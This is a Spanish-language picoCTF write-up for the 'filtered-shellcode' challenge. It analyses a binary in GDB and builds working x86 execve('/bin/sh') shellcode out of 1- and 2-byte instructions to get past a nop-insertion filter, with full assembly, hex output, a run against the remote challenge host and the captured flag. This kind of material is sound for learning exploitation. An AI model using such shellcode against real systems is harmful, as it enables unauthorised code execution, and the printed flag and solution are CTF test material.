filtered-shellcode
7 minutos de lectura
Se nos proporciona un binario de 32 bits llamado fun
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
No tenemos el código fuente en C. Esta vez, en lugar de hacer ingeniería inversa con Ghidra, analizaremos el binario con GDB.
Primero, vamos a ejecutar el programa:
$ ./fun
Give me code to run:
asdf
zsh: segmentation fault (core dumped) ./fun
Parece que el programa pide código para ejecutarlo. El programa falla porque asdf
no es una instrucción válida.
Vamos a generar dos instrucciones de breakpoint (SIGTRAP, int3
en ensamblador) utilizando asm
de pwntools
:
$ pwn asm 'int3; int3'
cccc
$ pwn asm 'int3; int3' -o code
$ xxd code
00000000: cccc ..
Podemos iniciar GDB y ejecutar el programa con este código:
$ gdb -q fun
Reading symbols from fun...
(No debugging symbols found in fun)
gef➤ run < code
Starting program: ./fun < code
Give me code to run:
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffcc01 in ?? ()
Genial, se ha parado en el breakpoint. Vamos a ver cuáles son las siguientes instrucciones desde $eip
(menos uno para poder ver la primera instrucción también):
gef➤ x/10i $eip - 1
0xffffcc00: int3
=> 0xffffcc01: int3
0xffffcc02: nop
0xffffcc03: nop
0xffffcc04: (bad)
0xffffcc05: call DWORD PTR [eax-0x6f000070]
0xffffcc0b: nop
0xffffcc0c: (bad)
0xffffcc0d: call DWORD PTR [eax-0x6f000070]
0xffffcc13: nop
0xffffcc14: (bad)
gef➤ x/10x $eip - 1
0xffffcc01: 0x9090cccc 0x9090ffff 0x9090ffff 0x9090ffff
0xffffcc11: 0x9090ffff 0x9090ffff 0x9090ffff 0x9090ffff
0xffffcc21: 0x9090ffff 0x9090ffff
Parece un poco extraño. Vamos a añadir más código arbitrario y comprobamos otra vez:
$ echo -ne '\xcc\xccABCDEFGHIJKL' > code
$ xxd code
00000000: cccc 41 4243 4445 4647 4849 4a4b 4c ..ABCDEFGHIJKL
gef➤ run < code
Starting program: ./fun < code
Give me code to run:
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffcc01 in ?? ()
gef➤ x/10x $eip - 1
0xffffcc00: 0x9090cccc 0x90904241 0x90904443 0x90904645
0xffffcc10: 0x90904847 0x90904a49 0x90904c4b 0x9090ffff
0xffffcc20: 0x9090ffff 0x9090ffff
Ahora se ve claramente lo que hace el programa: está cogiendo nuestro código e insertando dos instrucciones nop
(\x90\x90
) entre cada byte de nuestro código.
La instrucción nop
no hace nada, por lo que no será problemática. Sin embargo, nos limita a utilizar instrucciones de 1 ó 2 bytes (si no, las dos instrucciones nop
partirán nuestras instrucciones de más de 2 bytes).
El shellcode clásico para obtener una shell es similar a este:
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0xb # b0 0b => $eax = 0xb
push 0x68732f # 68 2f 2f 73 00 => Push "/sh\0"
push 0x6e69622f # 68 2f 62 69 6e => Push "/bin"
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => Call execve
El problema de este shellcode es el procedimiento para subir "/bin/sh\0"
a la pila (stack), ya que se utilizan instrucciones de 5 bytes. Por tanto, necesitamos subir de alguna manera la cadena "/bin/sh\0"
a la pila utilizando solamente instrucciones de 1 ó 2 bytes.
Una manera puede ser guardando la cadena de caracteres byte a byte. Podemos utilizar instrucciones como mov al, 0x2f
para almacenar un solo byte en $eax
con una instrucción de 2 bytes, y después realizar un desplazamiento a la izquierda para la siguiente posición.
Por ejemplo, para "/sh\0"
, la idea es la siguiente:
push 8 # 6a 08
nop # 90
pop ecx # 59 => $ecx = 8
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00006800
mov al, 0x73 # b0 73 => $eax = 0x00006873
shl eax, ecx # d3 e0 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
nop # 90
push eax # 50 => Push "/sh\0"
Como se puede observar, estamos utilizando shl eax, ecx
para guardar en $eax
el valor actual de $eax
desplazado $ecx
bits hacia la izquierda. Y dentro de $ecx
tenemos 8, por lo que la instrucción shl eax, ecx
desplazará $eax
un byte a la izquierda. Por tanto, estamos acumulando la cadena en $eax
.
El uso de nop
antes de las instrucciones pop
y push
(instrucciones de 1 byte) se debe a que el programa añade dos instrucciones nop
entre cada dos bytes de nuestro código. Si no ponemos esta instrucción nop
, entonces la siguiente instrucción de 2 bytes será dividida en dos parte (y por tanto, no funcionará).
Podemos seguir un proceso similar para tener "/bin"
en la pila. Y finalmente, añadir estas dos etapas al shellcode mostrado anteriormente.
Este es el código final que lanzará una consola de comandos utilizando execve("/bin/sh", 0, 0)
:
push 8 # 6a 08
nop # 90
pop ecx # 59 => $ecx = 8
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00006800
mov al, 0x73 # b0 73 => $eax = 0x00006873
shl eax, ecx # d3 e0 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
nop # 90
push eax # 50 => Push "/sh\0"
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x6e # b0 6e => $eax = 0x0000006e
shl eax, ecx # d3 e0 => $eax = 0x00006e00
mov al, 0x69 # b0 69 => $eax = 0x00006e69
shl eax, ecx # d3 e0 => $eax = 0x006e6900
mov al, 0x62 # b0 62 => $eax = 0x006e6962
shl eax, ecx # d3 e0 => $eax = 0x6e696200
mov al, 0x2f # b0 2f => $eax = 0x6e69622f ("/bin")
nop # 90
push eax # 50 => Push "/bin"
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x0b # b0 0b => $eax = 0x0b
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => execve
El archivo se llama code.asm
, podemos traducirlo a código máquina utilizando asm
de pwntools
:
$ pwn asm -i code.asm -o code
$ xxd code
00000000: 6a08 9059 31c0 b068 d3e0 b073 d3e0 b02f j..Y1..h...s.../
00000010: 9050 31c0 b06e d3e0 b069 d3e0 b062 d3e0 .P1..n...i...b..
00000020: b02f 9050 31c9 31d2 31c0 b00b 89e3 cd80 ./.P1.1.1.......
$ wc -c code
48 code
Se trata de un shellcode relativamente corto. Vamos a ver si funciona:
$ (cat code; echo; cat) | ./fun
Give me code to run:
ls
code code.asm fun
Perfecto, funciona bien. Nótese que hemos tenido que utilizar un comando echo
para añadir un carácter de salto de línea y otro comando cat
para mantener la consola activa.
Ahora podemos probar el código en la instancia remota para obtener la flag:
$ (cat code; echo; cat) | nc mercury.picoctf.net 16460
Give me code to run:
ls
flag.txt
fun
fun.c
xinet_startup.sh
cat flag.txt
picoCTF{th4t_w4s_fun_f1ed6f7952ff4071}
Más tarde, continué trabajando en el shellcode. Finalmente, encontré una manera de acortarlo utilizando desplazamientos de 16 bits y los registros $ah
, $al
, $bh
y $bl
(fragmentos de los registro $eax
y $ebx
):
push 16 # 6a 10
nop # 90
pop ecx # 59 => $ecx = 16
xor eax, eax # 31 c0 => $eax = 0x00000000
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00680000
mov ah, 0x73 # b4 73 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
mov bh, 0x6e # b7 6e => $ebx = 0x____6e__
mov bl, 0x69 # b3 69 => $ebx = 0x____6e69
shl ebx, ecx # d3 e3 => $ebx = 0x6e690000
mov bh, 0x62 # b7 62 => $ebx = 0x6e696200
mov bl, 0x2f # b3 2f => $ebx = 0x6e69622f ("/bin")
push eax # 50 => Push "/sh\0"
push ebx # 53 => Push "/bin"
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x0b # b0 0b => $eax = 0x0b
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => execve
El código máquina generado solamente tiene 38 bytes.